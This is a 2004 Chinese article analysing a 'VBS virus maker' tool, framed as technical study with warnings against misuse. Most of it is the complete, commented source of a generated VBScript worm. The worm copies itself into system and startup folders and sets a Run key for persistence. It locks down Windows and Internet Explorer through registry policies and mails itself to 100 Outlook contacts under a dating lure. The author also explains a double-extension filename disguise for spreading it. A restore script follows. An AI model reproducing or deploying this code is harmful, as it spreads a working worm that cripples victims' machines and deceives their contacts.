VBS病毒制造机v1.0 分析报告 -pc6资讯

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VBS病毒制造机v1.0 分析报告 时间：2004/10/8 16:41:00来源：本站整理作者：蓝点我要评论(4): 　　　　警告：此文只是做一些技术性的分析，希望大家不要乱用，造成的任何后果本人概不负责。切记。

病毒制造机，这是网上流行的一款典型的病毒制造机（病毒制造机：顾名思义，就是制造病毒的机器（^_^废话）），用于傻瓜型手工制造vbs病毒（vbs病毒：就是Visual Basic Script即是VB脚本，一种通过Microsoft的Windows Script Host提供的一种基于32位Windows平台的、与语言无关的脚本解释机制，它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH，用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。是不是功能强大，怕怕了吧？！）。
这个软件可能是用VB编写（没有询问作者详情），调用了kernel32.dll、user32.dll和advapi32.dll三个系统动态链接库.在这里，kernel32.dll主要用于系统控制，包括进程创建，变量设置，虚拟内存管理，系统资源管理等等，是操作系统必需的库之一。user32.dll主要用于与用户交互的通信，包括messege的传递与echo等。advapi32.dll主要用于程序与系统的API接口，这里即注册表的一些操作，包括RegOpenKey（取得SubKey的Handle）,RegCloseKey（关闭打开或者建立的SubKey）,RegQueryvalueEx（读取指定Key的值）。

下面是运行这个制造机（其中提供的功能选择全选，也就是病毒荷载最“狠”化，说白了，就是所有破坏功能都选了，最毒）之后，得到的一个*.vbs脚本病毒(用各大杀毒软件均提示存在vbs.xxxxx病毒)的源代码，加上我的一些注释（改一下名字，比如xxxx.txt .vbs，这里第一和第二后缀名之间N个空格，是不是很迷惑人，以后大家注意防范这样的手段哦（也算一种社会工程吧^_^），就可以发送电子邮件或者其他的方式传播破坏了，您千万不要那样做哦，哈哈！不要做坏蛋！要做好人！）。

On Error Resume Next
Set fs=CreateObject("Scripting.FileSystemObject") '创建一个能与操作系统沟通的对象,再利用该对象的各种方法对注册表进行操作
Set dir1=fs.GetSpecialFolder(0) '获取Windows/WinNT文件夹位置
Set dir2=fs.GetSpecialFolder(1) '获取System32/System文件夹位置
Set so=CreateObject("Scripting.FileSystemObject")
dim r '定义一个变量
Set r=CreateObject("Wscript.Shell")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Win32system.vbs") '复制病毒副本到Windows/WinNT文件夹位置
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Win32system.vbs") '复制病毒副本到System32/System文件夹位置
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Win32system.vbs") '复制病毒副本到Start Menu启动菜单

'下面是对注册表的恶意修改和简单的依靠OE传播
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD" '修改注册表，禁止“运行”菜单
r.Regwrite "KCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD" '修改注册表，禁止“关闭”菜单
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD" '修改注册表，隐藏所有逻辑盘符
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD" '修改注册表，禁止注册表编辑
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry","" '修改注册表，禁止开机注册表扫描
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD" '修改注册表，禁止“注销”菜单
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD" '修改注册表，禁止MS-DOS实模式
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system","Win32system.vbs" '修改注册表，使这个脚本本身开机自动运行
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD" '修改注册表，禁止显示桌面图标
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD" '修改注册表，禁止纯DOS模式
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD" '修改注册表，禁止“任务栏和开始”菜单
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD" '修改注册表，禁止右键菜单
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD" '修改注册表，禁止控制面板
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile" '修改注册表，禁止导入使用.reg文件，改为用txt文件的关联
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","警告" '设置开机提示框标题
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","您中vbs脚本病毒了，哭吧~" '设置开机提示框文本内容
Set ol=CreateObject("Outlook.Application") '创建Outlook文件对象用于传播
On Error Resume Next
For x=1 To 100
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) '用于向地址簿的前100名发送此 VBS病毒，可以算是简单弱智的蠕虫了吧~~
Mail.Subject="今晚你来吗？" '邮件主题
Mail.Body="朋友你好：您的朋友Rose给您发来了热情的邀请。具体情况请阅读随信附件，祝您好运！同城约会网" '邮件内容
Mail.Attachments.Add(dir2&"Win32system.vbs")
Mail.Send
Next
ol.Quit

'下面是对Internet Explore 选项的恶意修改
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD" '修改注册表，禁止鼠标右键
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD" '修改注册表，禁止Internet选项
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD" '修改注册表，禁止“另存为”
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD" '修改注册表，禁止“文件/打开”菜单
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD" '修改注册表，禁止更改高级页设置
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD" '修改注册表，禁止更改临时文件设置
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD" '修改注册表，禁止更改自动配置
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD" '修改注册表，禁止更改主页，即“主页”变灰
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD" '修改注册表，禁止更改历史记录设置
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD" '修改注册表，禁止更改Internet连接向导
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD" '修改注册表，禁止更改安全项
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD" '修改注册表，禁止“重置web设置”
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD" '修改注册表，禁止查看源文件
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD" '修改注册表，禁止添加脱机计划
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD" '修改注册表，禁止“文件”菜单

下面就是作者提供的“解药”--恢复文件reset.vbs的源代码：
（由于这里与上面的病毒破坏恶意修改恰好相反，故不做注释了）

Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir1&"\Win32system.vbs"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir2&"\Win32system.vbs"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce\deltree.exe","start.exe /m deltree /y "&dir1&"\Start Menu\Programs\启动\Win32system.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",0,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry","scanregw.exe /autorun"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",0,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Win32system",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",0,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption",""
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText",""
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",0,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",0,"REG_DWORD"

通过以上的分析，大家是不是觉得VBS病毒实在太简单了，的确这样：VBS蠕虫就是这么一回事。但是这个病毒制造机出的病毒算是很菜鸟级了，因为其恐怖的破坏功能，实在让人为它捏了一把冷汗，纵使再高的高手，注册表遭遇这么严重的创伤，不重做系统才怪（否则只能说明他/她的耐心实在能让人肃然起敬￥#￥）。所以这个病毒只是太坏了，太狠了。技术性的东西实在没有多少，没有什么新意。从传染性和隐藏性来看也是很一般般。
最后再次严正申明请不要去做非法的事，小心“白帽子”请你喝茶。
纯粹的技术研究值得提倡。
PS:以上分析不当之处，敬请指正，谢谢。

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